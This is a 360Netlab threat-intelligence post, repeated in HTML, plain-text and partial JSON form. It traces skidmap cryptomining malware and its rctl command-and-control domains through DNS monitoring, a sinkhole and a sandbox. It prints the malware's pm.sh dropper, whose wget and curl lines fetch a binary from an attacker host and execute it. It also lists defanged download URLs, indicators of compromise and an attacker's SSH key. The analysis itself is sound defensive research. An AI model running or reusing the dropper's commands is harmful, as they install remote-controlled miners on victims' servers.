DNS base data with other multi-dimensional data, which can lead to more in-depth and sophisticated analysis.</p><!--kg-card-begin: markdown--><h2 id="dnsmonsystem">DNSMon System</h2>
<p>The 360Netlab team has been dedicated to DNS data security for six years, starting with the establishment of the first <a href="https://passivedns.cn">Passive DNS system</a> in China in 2014. DNSMon is a way for 360Netlab to leverage its extensive DNS security analysis experience to systematically analyze hundreds of billions of daily DNS traffic, produce threat intelligence (domain name IOC), and provide end users with the platform for security defense.</p>
<ul>
<li>
<p>The core of this platform is to cross-reference the massive amount of DNS data with the security-related data owned by 360 (including whois, web, sandbox, honeypot, certificates, etc.), and analyze it to derive threat intelligence IOC.</p>
</li>
<li>
<p>Without any prior knowledge, the system actively blocks high-risk security-related domain names on a large scale, it generates block list with thousands of malicious and highly suspicious domain names every day, serves about 20 million users in China, and has been running for nearly 3 years.</p>
</li>
</ul>
<!--kg-card-end: markdown--><p>In operating DNSMon, it is now very common that the domains we intercept often take weeks or even months to enter other threat intelligence (domain name IOC) vendors’ lists. Not many folks have ever heard about our system though. We will be following up with a series of articles and selected case studies that illustrate how to start with DNS and combine it with multi-dimensional data to produce domain name IOCs. </p><p>In this article, we will look at the first example - the skidmap malicious mining program. </p><!--kg-card-begin: markdown--><h2 id="dnsmonsblockingofunknowndomains">DNSMon's blocking of unknown domains</h2>
<p>In May 2019, with the built-in algorithm, DNSMon started to block the three subdomains of <em>ipfswallet.tk, rctl-443/rctl/pm</em>, and <em>rctl-443.onlinetalk.tk</em>, and then in November 2019 rctl/info subdomain of <em>onlinetalk.tk</em> were also blocked. In September and October 2020, similar interceptions were performed on the rctl-443/rctl subdomains of <em>googleblockchaintechnology[.]com, howoldareyou999[.]com, and franceeiffeltowers[.]com</em>. The blocking information is shown in the following figure.</p>
<p><img src="__GHOST_URL__/content/images/2020/11/block_domain_info-2.png" alt="block_domain_info-2" loading="lazy"></p>
<p>These domain names have strong similarities in domain name structure and the choice of subdomains.<br>
Further analysis of the behavioral pattern of their DNS requests shows that there is a very high degree of consistency.</p>
<p>The graph below shows the access history of the domain names in question since August of this year.</p>
<p><img src="__GHOST_URL__/content/images/2020/11/access_curve-2.png" alt="access_curve-2" loading="lazy"></p>
<h2 id="graphicalassociation">Graphical association</h2>
<p>In general, if the domain names are similar in structure and use the same infrastructure, it is likely that the domain names play similar functions. For this purpose, we analyzed the infrastructure and associations of these automatically blocked domains using the graph system (developed by 360netlab to perform graph correlation analysis on multidimensional data). This can be visualized in the following figure.</p>
<ul>
<li>All query domains (the pentagram node in the second column) can be correlated with each other via IP, URL and samples, indicating that they are indeed in the same infrastructure.</li>
<li>Some new nodes are also expended, where the nodes (<code>pm.cpuminerpool[.]com, hxxp://pm.ipfswallet[.]tk/miner2, hxxp://pm.ipfswallet[.]tk/miner</code> ) have distinct characteristics of mining domains, and the related sample nodes are associated with shell scripts and ELF samples that perform mining functions.</li>
</ul>
<p><img src="__GHOST_URL__/content/images/2020/11/graph_relations_layers-4.png" alt="graph_relations_layers-4" loading="lazy"></p>
<h2 id="domainassociations">Domain Associations</h2>
<p>According to the September 2019 <a href="https://www.trendmicro.com/en_us/research/19/i/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload.html">Trend Micro report</a> [1], we can see that the expended two sets of domain names in the above graphic are both skidmap malicious mining programs. From this, it is almost certain that the rctl series domain names are closely related to skidmap mining program. And <strong>DNSMon's blocking time for domain names related to skidmap malicious mining program (including the main download domain name <em>pm[.] ipfswallet.tk</em>) were about 4 months earlier than the Trend Micro (2019.5 vs 2019.9).</strong></p>
<h2 id="urlassociation">URL association</h2>
<p>After the analysis of graph correlation and domain association, we can determine that the emerging domain names are very closely related to the skidmap malicious mining program. In order to further determine the functionality of these new domains, we spliced the old URLs with the new domains to check if the new domains are taking over the functionality of the corresponding old domains. As it turns out, the corresponding malware can be successfully downloaded.</p>
<pre><code>hxxp://rctl.googleblockchaintechnology[.]com/pc
hxxp://rctl.googleblockchaintechnology[.]com/pm.sh
hxxp://rctl.googleblockchaintechnology[.]com/miner2
hxxp://rctl.googleblockchaintechnology[.]com/miner
hxxp://rctl.googleblockchaintechnology[.]com/cos6.tar.gz
hxxp://rctl.googleblockchaintechnology[.]com/cos7.tar.gz
</code></pre>
<p>And the downloaded samples are largely the same as those analyzed in the Trendmicro article via the main download domain (<em>pm[.] ipfswallet.tk</em>). For example, the contents of pm.sh are as follows.</p>
<pre><code>PATH=$PATH:/usr/bin:/bin:/sbin:/usr/sbin:/usr/local/bin:/usr/local/sbin
cd /var/lib
if [ -x "/usr/bin/md5sum" -o -x "/bin/md5sum" ];then
sum=`md5sum pc|grep 42d271982608bd740bf8dd3458f79116|grep -v grep |wc -l`
if [ $sum -eq 1 ]; then
chmod +x /var/lib/pc
/var/lib/pc
exit 0
fi
fi
/bin/rm -rf /var/lib/pc
if [ -x "/usr/bin/wget" -o -x "/bin/wget" ]; then
wget -c hxxp://pm.cpuminerpool[.]com/pc -O /var/lib/pc && chmod +x /var/lib/pc && /var/lib/pc
elif [ -x "/usr/bin/curl" -o -x "/bin/curl" ]; then
curl -fs hxxp://pm.cpuminerpool[.]com/pc -o /var/lib/pc && chmod +x /var/lib/pc && /var/lib/pc
elif [ -x "/usr/bin/get" -o -x "/bin/get" ]; then
get -c hxxp://pm.cpuminerpool[.]com/pc -O /var/lib/pc && chmod +x /var/lib/pc && /var/lib/pc
elif [ -x "/usr/bin/cur" -o -x "/bin/cur" ]; then
cur -fs hxxp://pm.cpuminerpool[.]com/pc -o /var/lib/pc && chmod +x /var/lib/pc && /var/lib/pc
elif [ -x "/usr/bin/url" -o -x "/bin/url" ]; then
url -fs hxxp://pm.cpuminerpool[.]com/pc -o /var/lib/pc && chmod +x /var/lib/pc && /var/lib/pc
else
rpm -e --nodeps wget
yum -y install wget
wget -c hxxp://pm.cpuminerpool[.]com/pc -O /var/lib/pc && chmod +x /var/lib/pc && /var/lib/pc
fi
</code></pre>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h2 id="datafromsinkhole">Data from sinkhole</h2>
<p>Two new rctl domain names (<em>howoldareyou999[.] com, franceeiffeltowers[.] com</em>) were not registered by the malware author, but we saw there was already a significant amount of DNS request traffic network wide, in order to figure out what these domains are actually for in the real network, we registered one of them, <em>franceeiffeltowers[.]</em> com and sinkholed it.<br>
After observing that the actual traffic to <em>fanceeiffeltowers[.] com</em>, we saw the following characters:</p>
<ul>
<li>Communication via port 443</li>
<li>TLS protocol interactions is required, but certification of the accessing domain is not verified (the certificate we provide does not match the certificate of the sinkhole domain).</li>
<li>After the TLS handshake, the payload length of the first packet received is 39 and is similar to the following (the content of the bytes of packets from different client sources may vary).</li>
</ul>
<pre><code>00000000: 64 65 66 61 75 6C 74 00 00 00 00 00 00 00 00 00 default.........
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 00 00 16 3E 12 AE AD ...>...
</code></pre>
<p>Or something like this.</p>
<pre><code>00000000: 63 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c4..............
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 00 52 54 00 B8 EB E1 .RT....
</code></pre>
<p>Instead of the obviously readable http url and the rest of the corresponding http protocol that we would expect to see, this content is for c2 remote control connect(see below).</p>
<h3 id="clientsaremainlyconcentratedinaliyunandtencentcloud">Clients are mainly concentrated in Aliyun and Tencent Cloud.</h3>
<p>On 2020-11-13, we got 689 IP addresses, of which 64% of the request source IPs are concentrated on Aliyun and Tencent cloud. The distribution is as follows.</p>
<p><img src="__GHOST_URL__/content/images/2020/11/client_ip_distr-1.png" alt="client_ip_distr-1" loading="lazy"></p>
<p>Because the rctl domains (whether registered or not) are very close to each other in terms of request patterns, and the DNSMon system can see that their companionship is very close. We have good reasons to believe<br>
that the registered domain name (<em>googleblockchain[.]com</em>) has the same client-side origin as the sinkhole domain name.</p>
<h3 id="numberofsinkholerequests">Number of sinkhole requests</h3>
<p>In terms of the number of requests, the sinkhole server received a total of 936,000 go-live requests (39 binary packets) between 23:00 on November 13, 2020 and 23:00 on November 14, 2020</p>
<p><img src="__GHOST_URL__/content/images/2020/11/sinkhole_req_count-1.png" alt="sinkhole_req_count-1" loading="lazy"></p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h2 id="findinganswers">Finding Answers</h2>
<p>Although from the various correlations mentioned above, it is almost certain that the rctl series domain names must be related to the skidmap malicious mining program. However, the sinkhole data shows that the role of rctl domains is not the same as the disclosed skidmap-related IOC domains.</p>
<p>In order to figure out the real source of this traffic, we "infected" skidmap again in a restricted environment. unsurprisingly, we found a request for the rctl series domain, which was original from <code>/usr/bin/irqbalanced ( ad303c1e121577bbe67b4615a0ef58dc5e27198b)</code>. It constantly tries to request the rctl* class domain, and we also noticed that rctl-related strings are in the hidden directory list of skidmap's rootkit.</p>
<p>Analysis of the program revealed that it came from an open source remote control software called rctl (note: the author of the software and the hacker behind skidmap should not be considered the same person because of the open source nature), and the client program was modified to fit skidmap's needs. However, the core protocol of the communication did not change, and the initial 39-byte-long data received by sinkhole was the first packet of the victim's attempt to connect to the C2 master.</p>
<p>Since there was no significant change in the communication protocol, we modified the rctl server software slightly and, as expected, received numerous messages from victims after running the server on the sinkhole server.</p>
<p>According to the screenshot of the software running, the console can perform batch remote command execution and single shell login for victims.</p>
<p><img src="__GHOST_URL__/content/images/2020/11/rctl-server-3.png" alt="rctl-server-3" loading="lazy"></p>
<p>The connection efficiency of the remote control software is very high, with nearly 900 clients connected shortly after the server started. Considering the order in which clients request the master domain name when connecting, the real number of victimized users is probably much higher than this.<br>
<img src="__GHOST_URL__/content/images/2020/11/rctl_server_v3-2.jpg" alt="rctl_server_v3-2" loading="lazy"></p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h2 id="infectionprocess">Infection Process</h2>
<p>We will have another article to cover the whole infection process, in regarding to what vulnerabilities skidmap uses to gain access to the victim, the malicious programs (rootkits) that it downloads, the functions of each malicious program, and so on, stay tuned.</p>
<h2 id="reference">reference</h2>
<ol>
<li><a href="https://www.trendmicro.com/en_us/research/19/i/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload.html">https://www.trendmicro.com/en_us/research/19/i/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload.html</a></li>
<li><a href="https://github.com/ycsunjane/rctl">https://github.com/ycsunjane/rctl</a></li>
</ol>
<h2 id="ioc">IOC</h2>
<pre><code>Domains:
rctl-443.franceeiffeltowers[.]com
rctl-443.googleblockchaintechnology[.]com
rctl-443.howoldareyou999[.]com
rctl-443.ipfswallet[.]tk
rctl-443.onlinetalk[.]tk
rctl.franceeiffeltowers[.]com
rctl.googleblockchaintechnology[.]com
rctl.howoldareyou999[.]com
rctl.ipfswallet[.]tk
rctl.onlinetalk[.]tk
Samples：
ecb6f50245706cfbdc6d2098bc9c54f3 irqbalanced
9c129d93f6825b90fa62d37b01ae3b3c pamdicks
5840dc51673196c93352b61d502cb779 ip6network
871a598f0ee903b4f57dbc5020aae293 systemd-network
Certificates：
4241c714cd2b04f35e49ed593984c6932e1f387c rctl.onlinetalk[.]tk
3158b9c2e703a67363ac9ee9c1b247c2e1abf4c7 rctl.onlinetalk[.]tk
5fbad62b7738c76094ab6a05b32425305400183f onlinetalk[.]tk
e886e1899b636f2875be56b96cf1affdd957348a googleblockchaintechnology[.]com
Paths & Files：
/etc/rctlconf/rctlcli.cfg
/etc/rctlconf/certs/rctl_cert.pem
/etc/rctlconf/certs/rctl_priv.pem
/etc/rctlconf/certs/rctl_ca.crt
ssh login authorized_keys：
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/cjOtK8LAcIPBchQkU/qKSGbe7A9MTvrwqBc6trso6UMBpeTWY8loM1082h4HZ4daNJ1S8yB57PtOHSUwG//SD5ahYfOTOInQpU5p7mnczql9UPXO68VXukBpbmjueEwVtXXFnd/9kZzqBroS9zMakKh53URPoKus4d/V7Ct5ecPSo2WDRJDLbewE9ojb+v4R8C4xartjNLsyUXRwqgk1B6LK8JKIWUU55+LoaecFTBoBil+DP2Wxl2RhFaGCHItInwPgmtigYcOH/zMePw+aiXsYMbSzNtQswh3E0h7bpxq7hgilFTglfmrZybF45enkjwr9cfsWpkQ6NQ1nONA9 root@doclever
</code></pre>
<!--kg-card-end: markdown--> | As the foundation and core protocol of the Internet, the DNS protocol carries data that, to a certain extent, reflects a good deal of the user behaviors, thus security analysis of DNS data can cover a decent amount of the malicious activities.
In the early days, typical scenarios for early security practices using DNS data include DGA and fastflux. Although the specific methods for detecting these two types of malicious behavior vary (e.g., detecting DGA domains ranges from a few statistical dimensions to multi-feature machine learning to deep learning detection based on timing, etc.), the core of the detection is still based on pure DNS data. The main reason for this is that the key features of both types of malicious behavior are already evident in the DNS data, and little or no external data is needed for fast and accurate detection.
In reality, however, the traces left by malware in DNS data vary greatly depending on the purpose and environment (e.g., the implementation of protocol stacks by Windows, Linux, macOS, etc.), making it difficult or impossible to efficiently complete the closed loop of data cleansing, aggregation, detection, verification, and defense by relying on DNS data alone. In the face of massive amounts of DNS data (and other basic data as well), big data analytics methods can produce a plenty of (anomalous) clues but characterizing them to produce accurate threat intelligence is another story.
With today's rapid development of data, computing power and machine intelligence algorithms, we believe that one of the future directions of DNS security is the correlation and integration of massive amounts of DNS base data with other multi-dimensional data, which can lead to more in-depth and sophisticated analysis.
DNSMon System
The 360Netlab team has been dedicated to DNS data security for six years, starting with the establishment of the first Passive DNS system in China in 2014. DNSMon is a way for 360Netlab to leverage its extensive DNS security analysis experience to systematically analyze hundreds of billions of daily DNS traffic, produce threat intelligence (domain name IOC), and provide end users with the platform for security defense.
*
The core of this platform is to cross-reference the massive amount of DNS data with the security-related data owned by 360 (including whois, web, sandbox, honeypot, certificates, etc.), and analyze it to derive threat intelligence IOC.
*
Without any prior knowledge, the system actively blocks high-risk security-related domain names on a large scale, it generates block list with thousands of malicious and highly suspicious domain names every day, serves about 20 million users in China, and has been running for nearly 3 years.
In operating DNSMon, it is now very common that the domains we intercept often take weeks or even months to enter other threat intelligence (domain name IOC) vendors’ lists. Not many folks have ever heard about our system though. We will be following up with a series of articles and selected case studies that illustrate how to start with DNS and combine it with multi-dimensional data to produce domain name IOCs.
In this article, we will look at the first example - the skidmap malicious mining program.
DNSMon's blocking of unknown domains
In May 2019, with the built-in algorithm, DNSMon started to block the three subdomains of ipfswallet.tk, rctl-443/rctl/pm, and rctl-443.onlinetalk.tk, and then in November 2019 rctl/info subdomain of onlinetalk.tk were also blocked. In September and October 2020, similar interceptions were performed on the rctl-443/rctl subdomains of googleblockchaintechnology[.]com, howoldareyou999[.]com, and franceeiffeltowers[.]com. The blocking information is shown in the following figure.
These domain names have strong similarities in domain name structure and the choice of subdomains.
Further analysis of the behavioral pattern of their DNS requests shows that there is a very high degree of consistency.
The graph below shows the access history of the domain names in question since August of this year.
Graphical association
In general, if the domain names are similar in structure and use the same infrastructure, it is likely that the domain names play similar functions. For this purpose, we analyzed the infrastructure and associations of these automatically blocked domains using the graph system (developed by 360netlab to perform graph correlation analysis on multidimensional data). This can be visualized in the following figure.
* All query domains (the pentagram node in the second column) can be correlated with each other via IP, URL and samples, indicating that they are indeed in the same infrastructure.
* Some new nodes are also expended, where the nodes (pm.cpuminerpool[.]com, hxxp://pm.ipfswallet[.]tk/miner2, hxxp://pm.ipfswallet[.]tk/miner ) have distinct characteristics of mining domains, and the related sample nodes are associated with shell scripts and ELF samples that perform mining functions.
Domain Associations
According to the September 2019 Trend Micro report [1], we can see that the expended two sets of domain names in the above graphic are both skidmap malicious mining programs. From this, it is almost certain that the rctl series domain names are closely related to skidmap mining program. And DNSMon's blocking time for domain names related to skidmap malicious mining program (including the main download domain name pm[.] ipfswallet.tk) were about 4 months earlier than the Trend Micro (2019.5 vs 2019.9).
URL association
After the analysis of graph correlation and domain association, we can determine that the emerging domain names are very closely related to the skidmap malicious mining program. In order to further determine the functionality of these new domains, we spliced the old URLs with the new domains to check if the new domains are taking over the functionality of the corresponding old domains. As it turns out, the corresponding malware can be successfully downloaded.
hxxp://rctl.googleblockchaintechnology[.]com/pc
hxxp://rctl.googleblockchaintechnology[.]com/pm.sh
hxxp://rctl.googleblockchaintechnology[.]com/miner2
hxxp://rctl.googleblockchaintechnology[.]com/miner
hxxp://rctl.googleblockchaintechnology[.]com/cos6.tar.gz
hxxp://rctl.googleblockchaintechnology[.]com/cos7.tar.gz
And the downloaded samples are largely the same as those analyzed in the Trendmicro article via the main download domain (pm[.] ipfswallet.tk). For example, the contents of pm.sh are as follows.
PATH=$PATH:/usr/bin:/bin:/sbin:/usr/sbin:/usr/local/bin:/usr/local/sbin
cd /var/lib
if [ -x "/usr/bin/md5sum" -o -x "/bin/md5sum" ];then
sum=`md5sum pc|grep 42d271982608bd740bf8dd3458f79116|grep -v grep |wc -l`
if [ $sum -eq 1 ]; then
chmod +x /var/lib/pc
/var/lib/pc
exit 0
fi
fi
/bin/rm -rf /var/lib/pc
if [ -x "/usr/bin/wget" -o -x "/bin/wget" ]; then
wget -c hxxp://pm.cpuminerpool[.]com/pc -O /var/lib/pc && chmod +x /var/lib/pc && /var/lib/pc
elif [ -x "/usr/bin/curl" -o -x "/bin/curl" ]; then
curl -fs hxxp://pm.cpuminerpool[.]com/pc -o /var/lib/pc && chmod +x /var/lib/pc && /var/lib/pc
elif [ -x "/usr/bin/get" -o -x "/bin/get" ]; then
get -c hxxp://pm.cpuminerpool[.]com/pc -O /var/lib/pc && chmod +x /var/lib/pc && /var/lib/pc
elif [ -x "/usr/bin/cur" -o -x "/bin/cur" ]; then
cur -fs hxxp://pm.cpuminerpool[.]com/pc -o /var/lib/pc && chmod +x /var/lib/pc && /var/lib/pc
elif [ -x "/usr/bin/url" -o -x "/bin/url" ]; then
url -fs hxxp://pm.cpuminerpool[.]com/pc -o /var/lib/pc && chmod +x /var/lib/pc && /var/lib/pc
else
rpm -e --nodeps wget
yum -y install wget
wget -c hxxp://pm.cpuminerpool[.]com/pc -O /var/lib/pc && chmod +x /var/lib/pc && /var/lib/pc
fi
Data from sinkhole
Two new rctl domain names (howoldareyou999[.] com, franceeiffeltowers[.] com) were not registered by the malware author, but we saw there was already a significant amount of DNS request traffic network wide, in order to figure out what these domains are actually for in the real network, we registered one of them, franceeiffeltowers[.] com and sinkholed it.
After observing that the actual traffic to fanceeiffeltowers[.] com, we saw the following characters:
* Communication via port 443
* TLS protocol interactions is required, but certification of the accessing domain is not verified (the certificate we provide does not match the certificate of the sinkhole domain).
* After the TLS handshake, the payload length of the first packet received is 39 and is similar to the following (the content of the bytes of packets from different client sources may vary).
00000000: 64 65 66 61 75 6C 74 00 00 00 00 00 00 00 00 00 default.........
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 00 00 16 3E 12 AE AD ...>...
Or something like this.
00000000: 63 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c4..............
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 00 52 54 00 B8 EB E1 .RT....
Instead of the obviously readable http url and the rest of the corresponding http protocol that we would expect to see, this content is for c2 remote control connect(see below).
Clients are mainly concentrated in Aliyun and Tencent Cloud.
On 2020-11-13, we got 689 IP addresses, of which 64% of the request source IPs are concentrated on Aliyun and Tencent cloud. The distribution is as follows.
Because the rctl domains (whether registered or not) are very close to each other in terms of request patterns, and the DNSMon system can see that their companionship is very close. We have good reasons to believe
that the registered domain name (googleblockchain[.]com) has the same client-side origin as the sinkhole domain name.
Number of sinkhole requests
In terms of the number of requests, the sinkhole server received a total of 936,000 go-live requests (39 binary packets) between 23:00 on November 13, 2020 and 23:00 on November 14, 2020
Finding Answers
Although from the various correlations mentioned above, it is almost certain that the rctl series domain names must be related to the skidmap malicious mining program. However, the sinkhole data shows that the role of rctl domains is not the same as the disclosed skidmap-related IOC domains.
In order to figure out the real source of this traffic, we "infected" skidmap again in a restricted environment. unsurprisingly, we found a request for the rctl series domain, which was original from /usr/bin/irqbalanced ( ad303c1e121577bbe67b4615a0ef58dc5e27198b). It constantly tries to request the rctl* class domain, and we also noticed that rctl-related strings are in the hidden directory list of skidmap's rootkit.
Analysis of the program revealed that it came from an open source remote control software called rctl (note: the author of the software and the hacker behind skidmap should not be considered the same person because of the open source nature), and the client program was modified to fit skidmap's needs. However, the core protocol of the communication did not change, and the initial 39-byte-long data received by sinkhole was the first packet of the victim's attempt to connect to the C2 master.
Since there was no significant change in the communication protocol, we modified the rctl server software slightly and, as expected, received numerous messages from victims after running the server on the sinkhole server.
According to the screenshot of the software running, the console can perform batch remote command execution and single shell login for victims.
The connection efficiency of the remote control software is very high, with nearly 900 clients connected shortly after the server started. Considering the order in which clients request the master domain name when connecting, the real number of victimized users is probably much higher than this.
Infection Process
We will have another article to cover the whole infection process, in regarding to what vulnerabilities skidmap uses to gain access to the victim, the malicious programs (rootkits) that it downloads, the functions of each malicious program, and so on, stay tuned.
reference
1. https://www.trendmicro.com/en_us/research/19/i/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload.html
2. https://github.com/ycsunjane/rctl
IOC
Domains:
rctl-443.franceeiffeltowers[.]com
rctl-443.googleblockchaintechnology[.]com
rctl-443.howoldareyou999[.]com
rctl-443.ipfswallet[.]tk
rctl-443.onlinetalk[.]tk
rctl.franceeiffeltowers[.]com
rctl.googleblockchaintechnology[.]com
rctl.howoldareyou999[.]com
rctl.ipfswallet[.]tk
rctl.onlinetalk[.]tk
Samples：
ecb6f50245706cfbdc6d2098bc9c54f3 irqbalanced
9c129d93f6825b90fa62d37b01ae3b3c pamdicks
5840dc51673196c93352b61d502cb779 ip6network
871a598f0ee903b4f57dbc5020aae293 systemd-network
Certificates：
4241c714cd2b04f35e49ed593984c6932e1f387c rctl.onlinetalk[.]tk
3158b9c2e703a67363ac9ee9c1b247c2e1abf4c7 rctl.onlinetalk[.]tk
5fbad62b7738c76094ab6a05b32425305400183f onlinetalk[.]tk
e886e1899b636f2875be56b96cf1affdd957348a googleblockchaintechnology[.]com
Paths & Files：
/etc/rctlconf/rctlcli.cfg
/etc/rctlconf/certs/rctl_cert.pem
/etc/rctlconf/certs/rctl_priv.pem
/etc/rctlconf/certs/rctl_ca.crt
ssh login authorized_keys：
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/cjOtK8LAcIPBchQkU/qKSGbe7A9MTvrwqBc6trso6UMBpeTWY8loM1082h4HZ4daNJ1S8yB57PtOHSUwG//SD5ahYfOTOInQpU5p7mnczql9UPXO68VXukBpbmjueEwVtXXFnd/9kZzqBroS9zMakKh53URPoKus4d/V7Ct5ecPSo2WDRJDLbewE9ojb+v4R8C4xartjNLsyUXRwqgk1B6LK8JKIWUU55+LoaecFTBoBil+DP2Wxl2RhFaGCHItInwPgmtigYcOH/zMePw+aiXsYMbSzNtQswh3E0h7bpxq7hgilFTglfmrZybF45enkjwr9cfsWpkQ6NQ1nONA9 root@doclever
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"## DNSMon System\nThe 360Netlab team has been dedicated to DNS data security for six years, starting with the establishment of the first [Passive DNS system](https://passivedns.cn) in China in 2014. DNSMon is a way for 360Netlab to leverage its extensive DNS security analysis experience to systematically analyze hundreds of billions of daily DNS traffic, produce threat intelligence (domain name IOC), and provide end users with the platform for security defense.\n\n* The core of this platform is to cross-reference the massive amount of DNS data with the security-related data owned by 360 (including whois, web, sandbox, honeypot, certificates, etc.), and analyze it to derive threat intelligence IOC.\n \n* Without any prior knowledge, the system actively blocks high-risk security-related domain names on a large scale, it generates block list with thousands of malicious and highly suspicious domain names every day, serves about 20 million users in China, and has been running for nearly 3 years."}],["markdown",{"markdown":"## DNSMon's blocking of unknown domains\nIn May 2019, with the built-in algorithm, DNSMon started to block the three subdomains of *ipfswallet.tk, rctl-443/rctl/pm*, and *rctl-443.onlinetalk.tk*, and then in November 2019 rctl/info subdomain of *onlinetalk.tk* were also blocked. In September and October 2020, similar interceptions were performed on the rctl-443/rctl subdomains of *googleblockchaintechnology[.]com, howoldareyou999[.]com, and franceeiffeltowers[.]com*. The blocking information is shown in the following figure.\n\n\n\nThese domain names have strong similarities in domain name structure and the choice of subdomains.\nFurther analysis of the behavioral pattern of their DNS requests shows that there is a very high degree of consistency.\n\nThe graph below shows the access history of the domain names in question since August of this year.\n\n\n\n## Graphical association\nIn general, if the domain names are similar in structure and use the same infrastructure, it is likely that the domain names play similar functions. For this purpose, we analyzed the infrastructure and associations of these automatically blocked domains using the graph system (developed by 360netlab to perform graph correlation analysis on multidimensional data). This can be visualized in the following figure.\n* All query domains (the pentagram node in the second column) can be correlated with each other via IP, URL and samples, indicating that they are indeed in the same infrastructure.\n* Some new nodes are also expended, where the nodes (```pm.cpuminerpool[.]com, hxxp://pm.ipfswallet[.]tk/miner2, hxxp://pm.ipfswallet[.]tk/miner``` ) have distinct characteristics of mining domains, and the related sample nodes are associated with shell scripts and ELF samples that perform mining functions.\n \n\n\n## Domain Associations\nAccording to the September 2019 [Trend Micro report](https://www.trendmicro.com/en_us/research/19/i/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload.html) [1], we can see that the expended two sets of domain names in the above graphic are both skidmap malicious mining programs. From this, it is almost certain that the rctl series domain names are closely related to skidmap mining program. And **DNSMon's blocking time for domain names related to skidmap malicious mining program (including the main download domain name *pm[.] ipfswallet.tk*) were about 4 months earlier than the Trend Micro (2019.5 vs 2019.9).**\n\n## URL association\nAfter the analysis of graph correlation and domain association, we can determine that the emerging domain names are very closely related to the skidmap malicious mining program. In order to further determine the functionality of these new domains, we spliced the old URLs with the new domains to check if the new domains are taking over the functionality of the corresponding old domains. As it turns out, the corresponding malware can be successfully downloaded.\n\n hxxp://rctl.googleblockchaintechnology[.]com/pc\n hxxp://rctl.googleblockchaintechnology[.]com/pm.sh\n hxxp://rctl.googleblockchaintechnology[.]com/miner2\n hxxp://rctl.googleblockchaintechnology[.]com/miner\n hxxp://rctl.googleblockchaintechnology[.]com/cos6.tar.gz\n hxxp://rctl.googleblockchaintechnology[.]com/cos7.tar.gz\n\nAnd the downloaded samples are largely the same as those analyzed in the Trendmicro article via the main download domain (*pm[.] ipfswallet.tk*). For example, the contents of pm.sh are as follows.\n\n PATH=$PATH:/usr/bin:/bin:/sbin:/usr/sbin:/usr/local/bin:/usr/local/sbin\n\n cd /var/lib\n\n\n if [ -x \"/usr/bin/md5sum\" -o -x \"/bin/md5sum\" ];then\n sum=`md5sum pc|grep 42d271982608bd740bf8dd3458f79116|grep -v grep |wc -l`\n if [ $sum -eq 1 ]; then\n chmod +x /var/lib/pc\n /var/lib/pc\n exit 0\n fi\n fi\n\n /bin/rm -rf /var/lib/pc\n if [ -x \"/usr/bin/wget\" -o -x \"/bin/wget\" ]; then\n wget -c hxxp://pm.cpuminerpool[.]com/pc -O /var/lib/pc && chmod +x /var/lib/pc && /var/lib/pc\n elif [ -x \"/usr/bin/curl\" -o -x \"/bin/curl\" ]; then\n curl -fs hxxp://pm.cpuminerpool[.]com/pc -o /var/lib/pc && chmod +x /var/lib/pc && /var/lib/pc\n elif [ -x \"/usr/bin/get\" -o -x \"/bin/get\" ]; then\n get -c hxxp://pm.cpuminerpool[.]com/pc -O /var/lib/pc && chmod +x /var/lib/pc && /var/lib/pc\n elif [ -x \"/usr/bin/cur\" -o -x \"/bin/cur\" ]; then\n cur -fs hxxp://pm.cpuminerpool[.]com/pc -o /var/lib/pc && chmod +x /var/lib/pc && /var/lib/pc\n elif [ -x \"/usr/bin/url\" -o -x \"/bin/url\" ]; then\n url -fs hxxp://pm.cpuminerpool[.]com/pc -o /var/lib/pc && chmod +x /var/lib/pc && /var/lib/pc\n else\n rpm -e --nodeps wget\n yum -y install wget\n wget -c hxxp://pm.cpuminerpool[.]com/pc -O /var/lib/pc && chmod +x /var/lib/pc && /var/lib/pc\n fi\n"}],["markdown",{"markdown":"## Data from sinkhole\nTwo new rctl domain names (*howoldareyou999[.] com, franceeiffeltowers[.] com*) were not registered by the malware author, but we saw there was already a significant amount of DNS request traffic network wide, in order to figure out what these domains are actually for in the real network, we registered one of them, *franceeiffeltowers[.]* com and sinkholed it.\nAfter observing that the actual traffic to *fanceeiffeltowers[.] com*, we saw the following characters:\n* Communication via port 443\n* TLS protocol interactions is required, but certification of the accessing domain is not verified (the certificate we provide does not match the certificate of the sinkhole domain).\n* After the TLS handshake, the payload length of the first packet received is 39 and is similar to the following (the content of the bytes of packets from different client sources may vary).\n```\n00000000: 64 65 66 61 75 6C 74 00 00 00 00 00 00 00 00 00 default.........\n00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................\n00000020: 00 00 16 3E 12 AE AD ...>...\n```\n\nOr something like this.\n```\n00000000: 63 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c4..............\n00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................\n00000020: 00 52 54 00 B8 EB E1 .RT....\n```\n\nInstead of the obviously readable http url and the rest of the corresponding http protocol that we would expect to see, this content is for c2 remote control connect(see below).\n\n### Clients are mainly concentrated in Aliyun and Tencent Cloud.\nOn 2020-11-13, we got 689 IP addresses, of which 64% of the request source IPs are concentrated on Aliyun and Tencent cloud. The distribution is as follows.\n\n\n\nBecause the rctl domains (whether registered or not) are very close to each other in terms of request patterns, and the DNSMon system can see that their companionship is very close. We have good reasons to believe\nthat the registered domain name (*googleblockchain[.]com*) has the same client-side origin as the sinkhole domain name.\n\n### Number of sinkhole requests\nIn terms of the number of requests, the sinkhole server received a total of 936,000 go-live requests (39 binary 